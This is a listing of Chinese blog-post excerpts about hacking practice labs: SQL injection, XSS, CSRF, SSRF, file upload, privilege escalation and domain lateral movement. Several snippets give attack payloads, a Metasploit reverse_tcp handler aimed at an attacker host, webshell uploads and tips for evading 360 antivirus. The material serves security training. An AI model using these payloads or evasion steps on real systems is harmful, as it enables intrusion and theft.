web应用程序在用户进行敏感操作时,如修改账号密码,添加账号,转账等,没有校验表单token或者http请求头中的referer值,从而导致恶意攻击者利用被攻击者的身份完成对应的而已请求.CSRF练习打开dvwa

文章目录知识补充文件上传（1）ctfshow文件上传靶场练习150-161文件上传（2）ctfshow文件上传靶场练习162-170文件上传总结文件包含知识补充url编码：0a换行；20空格；3c左尖括号

pikachu靶场搭建文章目录pikachu安装步骤pikachupikachu是一个自带web漏洞的应用系统，在这里包含了常见的web安全漏洞，也就是练习的靶场。

Jenkins反序列化漏洞CVE-2017-1000353/CVE-2018-1000861基础知识漏洞原理涉及版本复现思路复现—CVE-2017-1000353（使用vulhub靶场环境未复现成功，在本文中仅叙述原理和方法

环境：Metasploitable2:192.168.11.157dvwa版本：Version1.0.7(Releasedate:08/09/10)kail机器：192.168.11.156一、什么是文件上传漏洞

burp靶场–xss下篇【16-30】https://portswigger.net/web-security/all-labs#cross-site-scripting实验16：允许使用一些SVG标记的反射型

xss第一关第二关第三关第四关，第五关DOM型感觉像js阅读理解题，没有语言基础的我目前做不了一点第一关没什么过滤F12修改maxlenth（最大长度）直接写入下面代码即可alert(1)第二关先登陆，本关默认的用户名密码admin和123456alert(1)证明存在xss漏洞植入恶意的代码可以盗取cookie，攻击者若是盗取可以直接免密进入具体可以参考盗取cookie第三关和上面一样直接插入代

xss储存型xxs储存型lowmessage框插入恶意代码name栏插入恶意代码medium绕过方法highxxs储存型攻击者事先将恶意代码上传或储存到漏洞服务器中，只要受害者浏览包含此恶意代码的页面就会执行恶意代码。产生层面:后端漏洞特征:持久性的、前端执行、储存在后端数据库存储型XSS数据交互过程:用户输入数据->后端执行php代码->存入数据库某张表->返回数据给php页面->回显前端不需要

目录一、了解Union用法二、结合靶场环境讲解如何使用Union进行联合攻击①:判断注入点②:判断注入点为整形还是字符型③:使用orderby来判断注入表中字段数量，即列的数量④:结合Union字段来确定回显位

提交id=1之后回显exists存在提交id=’之后回显missing不存在，进一步判断是否是数字型SQL注入数字型exists字符型missing，确定为数字型SQL注入，进行猜解数据库版本、昵称。1andascii(substr(database(),1,1))>88#exists1andascii(substr(database(),1,1))>105#MISSING1andascii(su

CSRF概述1、原理：当黑客发现某网站存在CSRF漏洞，并且构造攻击参数将payload制作成网页，用户访问存在CSRF漏洞的网站，并且登录到后台，获取cookie，此时黑客发送带有payload的网址给用户，用户同时打开黑客所发来的网址，执行了payload，则造成了一次CSRF攻击2、形成原因：主要是漏洞网站没有经过二次验证，用户在浏览漏洞网站的时候，同时点击了hack制造的payload3、

简述：CSRF漏洞实际很少；条件限制很多；局限性很大；实验仅供参考，熟悉csrf概念和攻击原理即可Pikachu靶场CSRFGET登录用户vince的账户可以看到用户的相关信息；点击修改个人信息，发现数据包里除了

Pikachu靶场进入ssrf的页面，点击连接，发现url中记载了另一个url的内容通过加载百度的网址发现可以返回内容利用伪协议进行读取本地文件powershell.exe；不能执行，只能读取查看源码，

LOW级别源码如下：'.((is_object($GLOBALS["___mysqli_ston"]))?mysqli_error($GLOBALS["___mysqli_ston"]):(($___mysqli_res=mysqli_connect_error())?$___mysqli_res:false)).'');//输出密码修改成功echo"PasswordChanged.";}else

因为之前成功用冰蝎免杀360，把权限反弹到了MSF上，然后MSF把权限反弹到CS上所以这次咱们走捷径直接通过反序列化漏洞连接（就是关掉360）因为权限弹来弹去感觉好麻烦提示大家如果想要免杀360千万别学我，我是之前免杀360过了所以走此捷径将权限反弹到CS工具上（之前有360的时候一直提权不成功）这里我先关掉360做一个对照组，这里先体验一下无360的环境输入shellipconfig/all我们

之前因为事情耽搁了，今天争取把第一关红日靶场完成目前找到了关于外网服务器的网址之前有过扫描目录得知了登陆界面和爆破得到的密码目前我们的想法是把病毒上传到网页当中，所以我们应该找个文件注入点但是再次之前我们需要找到网页的绝对路径我们通过输入

360免杀其实没有你想象的那么难首先最重要的是你要用免杀脚本对你所生成的木马病毒进行加密然后加密系统的内核，就是上一篇文章所提及的是通过两次加密之后所输出的结果，让360无法感知到，然后先通过java反序列化工具将冰蝎工具的JSP后门代码上传上去，这个不会被360工具发现，因为冰蝎的代码自带免杀效果，冰蝎因为其特殊的构型，有免杀的效果，然后不得不说一下今天早上遇到的事情，是kali攻击机怎么能无法

我们首先打开webshell工具然后切换到C盘的www的文件夹下面然后我们打开MSF工具进行监听模板msfconsole启动MSF工具然后是useexploit/multi/handler使用漏洞辅助模块setpayloadwindows/meterpreter/reverse_tcp这是利用漏洞tcp回弹模块setlhost192.168.52.129这是设置回弹的主机这里是我们的kali攻击机

Preface今天我复习命令执行，打开DVWA靶场，输入127.0.0.1发现页面返回乱码，于是我查了好多资料总结了一条最简单而且有效的方法MainBody1.首先打开DVWA中的includes目录dvwaPage.inc.php

0x02漏洞检测1、漏洞验证:2、漏洞的可能出现点：0x03绕过方法：1、绕过限制为某种域名：2、绕过限制请求IP不为内网地址：3、限制请求只为http协议：0x04漏洞利用1、产生漏洞的函数：2、漏洞靶场

upload-labs靶场第一关绕过前端先打开哥斯拉，生成木马，选择php打开brup开浏览器，上传文件，就会发现被阻止了，还没抓到包呢那就是被前端代码阻止了，那通常前端代码都只能防御后缀名我们抓到包后直接改回名称即可那就先复制木马文件

原来靶场不是最折磨的，新手做ctf才是1.

打靶场，打靶场，打靶场，打靶场......靶场你别打我球球11.不用密码（狂喜)这一关知不知道账号密码都无所谓那么我们就尝试一下报错类型，单引号报错，好，字符型构造pocI_don_t_know_the_information'or1

汽车网络安全，正在逐步形成完整的产品应用体系，从早期的数据加密、安全启动、防火墙，延伸至包括安全测试、网络靶场、VSOC等全链条软硬件产品及服务体系。

前言这是一个系列文章，之前已经介绍过一些二进制安全的基础知识，这里就不过多重复提及，不熟悉的同学可以去看看我之前写的文章程序静态分析https://exploit.education/protostar/heap-one/#include#include#include#include#includestructinternet{#定义了一个名为internet的结构体intpriority;#定

1.安装靶场介绍：SQLI，sqlinjection，我们称之为sql注入。何为sql，英文：StructuredQueryLanguage，叫做结构化查询语言。

靶场链接：https://pan.baidu.com/s/1ors60QJujcmIZPf3iU3SmA?

靶场链接：https://pan.baidu.com/s/1Kx883pvzdtVFubtK5QWRuw?

xss，反射型，low&&mediumlow发现xss本地搭建实操medium作为初学者的我第一次接触比较浅的绕过思路low发现xss本关无过滤alert(/xss/)//或confirm(/xss/)//或prompt(/xss/)出现弹框则存在xss，其中alert（）confirm(）prompt(）为弹框函数本地搭建在www目录下放置cookie.php内容如下js代码如下document

主机发现arp-scan-limage.png目标ip为192.168.1.12端口扫描nmap-sV-sC-T4192.168.1.12-p--sV:查看端口对应服务-sC：使用默认脚本测试-T4:快速测试-p-:全端口扫描image.png扫描完成，看到3128端口，尝试访问一下image.png在这里卡了很久，根据他的左下角版本信息搜了一下漏洞，还真有一个对应版本的绕过访问限制，不过试了很久

目录1.安装靶场2.了解几个sql常用知识2.1联合查询union用法2.2MySQL中的通配符：2.3常用函数2.4数据分组3.mysql中重要的数据库和表4.开始闯关4.1Less-14.1.1首先进行一次常规的注入

变量覆盖-doumi目录一、靶场搭建1.下载doumi压缩包2.解压后放入小皮面板3.将版本改为5.3.294.登录网站5.输入/install6.打开根目录8.勾选已经阅读，然后点击下一步9.下一步10

越权漏洞-webug、1.登录账号：admin密码：admin2.进入逻辑漏洞3.进入越权修改密码靶场（1）输入账号密码进入进去会发现没有权限进入方法一：这里我们只需要将127.0.0.1:8080/control

Pikachu靶场之越权漏洞详解前言逻辑越权漏洞简述漏洞描述漏洞原因漏洞分类水平越权垂直越权权限框架缺陷如何防御第一关水平越权问题分析尝试防御第二关垂直越权问题分析尝试防御前言本篇文章用于巩固对自己逻辑越权漏洞的学习总结

glob://-查找匹配的文件路径模式phar://-php归档ssh2://-Secureshell2rar://-RARogg://-音频流expect://-处理交互式的流各协议的利用条件和方法熊海靶场安装

Pikachu靶场：DOM型XSS以及DOM型XSS-X实验环境以及工具Firefox浏览器、BurpSuite、Pikachu靶场实验原理要改变页面的某个东西，JavaScript就需要获得对HTML

谜团XSS靶场11-15关解析谜团靶场简介前两天觉得自己之前写的博客实在是不行，讲的东西都太基础了，都是千篇一律的内容，这方面的内容也比较难讲好，很多细节方面的东西我自己都不会，索性直接删去这部分内容重新开篇

xss-labs靶场简单通关目录level1level2level3level4level5level6level7level8level9level10level11level12level13level14level15level16level17level19&

burp靶场–身份认证漏洞https://portswigger.net/web-security/authentication#what-is-authentication1.身份认证漏洞：###身份验证漏洞从概念上讲

基于表单的暴力破解打开bp抓包，先随便输入一下用户名密码尝试登录，可以看到包中提交的明文形式的用户名和密码。将数据包转入intruder模块尝试暴力破解，将用户名和密码设置为payload：两个payload分别选择了字典，点击startburp开始爆破尝试：爆破成功后可以看到正确的用户名和密码。验证码绕过（onserver）先输入用户名密码和验证码尝试一下，然后在bp中发现如果登录错误，客户端收

11.Level11-Referer注入打开关卡11，发现有一个隐藏域t_ref的值来源于Referer。我们从Referer点注入事件。Referer必须包含字符串http://，否则不会显示。使用BurpSuite抓包，修改Refere。我们使用"闭合value，type清空隐藏属性，注入onclick事件。Referer:"http:///type=""onclick="alert(1)使用

xss-labs靶场Less-01【反射型xss、无过滤】对于XSS漏洞，在实战中未避免因关键字被发现，多采用h5标签进行试探。

burp靶场–xsshttps://portswigger.net/web-security/cross-site-scripting1.什么是xss:跨站脚本(XSS)是一种通常出现在Web应用程序中的计算机安全漏洞

前言这是一个系列文章，之前已经介绍过一些二进制安全的基础知识，这里就不过多重复提及，不熟悉的同学可以去看看我之前写的文章二进制安全虚拟机Protostar靶场安装,基础知识讲解,破解STACKZEROhttps

前言这是一个系列文章，之前已经介绍过一些二进制安全的基础知识，这里就不过多重复提及，不熟悉的同学可以去看看我之前写的文章什么是堆堆是动态内存分配的区域，程序在运行时用来分配内存。它与栈不同，栈用于静态分配内存，并且具有固定的大小程序使用如malloc、calloc、realloc等函数在堆上动态分配内存。当内存不再需要时，使用free函数释放。例如：intmain(intargc,char**ar

目录一、环境准备1.1我们进入第一关也如图：编辑二、正式开始第一关讲述2.1很明显它让我们在标签上输入一个ID，那我们就输入在链接后面加?id=1编辑2.2链接后面加个单引号(')查看返回的内容，127.0.0.1/sqli/less-1/?id=1',id=1三、解释为什么单引号四、解释--+五、漏洞探究六、优化探究一、环境准备sql注入环境，这个环境网上很多教程，其大部分基本都是小皮面板加漏洞

.域控域webserver建立通讯三.导出票据到本地四.加载票据到内存五.连接域控klistpurge与mimikatzsekurlsa::ticketspurge的区别横向移动：约束委派利用实验使用靶场

18、第十八关经过测试发现User-Agent:Mozilla/5.0(WindowsNT10.0;Win64;x64;rv:122.0)Gecko/20100101Firefox/122.0'加引号报错这里我们闭合一下试试User-Agent:Mozilla/5.0(WindowsNT10.0;Win64;x64;rv:122.0)Gecko/20100101Firefox/122.0','12

8、第八关（布尔盲注）id=1显示Youarein...........，id=1'单引号不显示，id=1'--+显示正常这个应该是单引号闭合，接下来就和第七关差不多上脚本爆库名长度：id=1%27%20and%20length(database())={i}%20--+爆库名：id=1%27%20and%20substr(database(),{p},1)=%22{a}%22%20--+爆表名：

burp靶场–CSRFhttps://portswigger.net/web-security/csrf#what-is-csrf###什么是CSRF？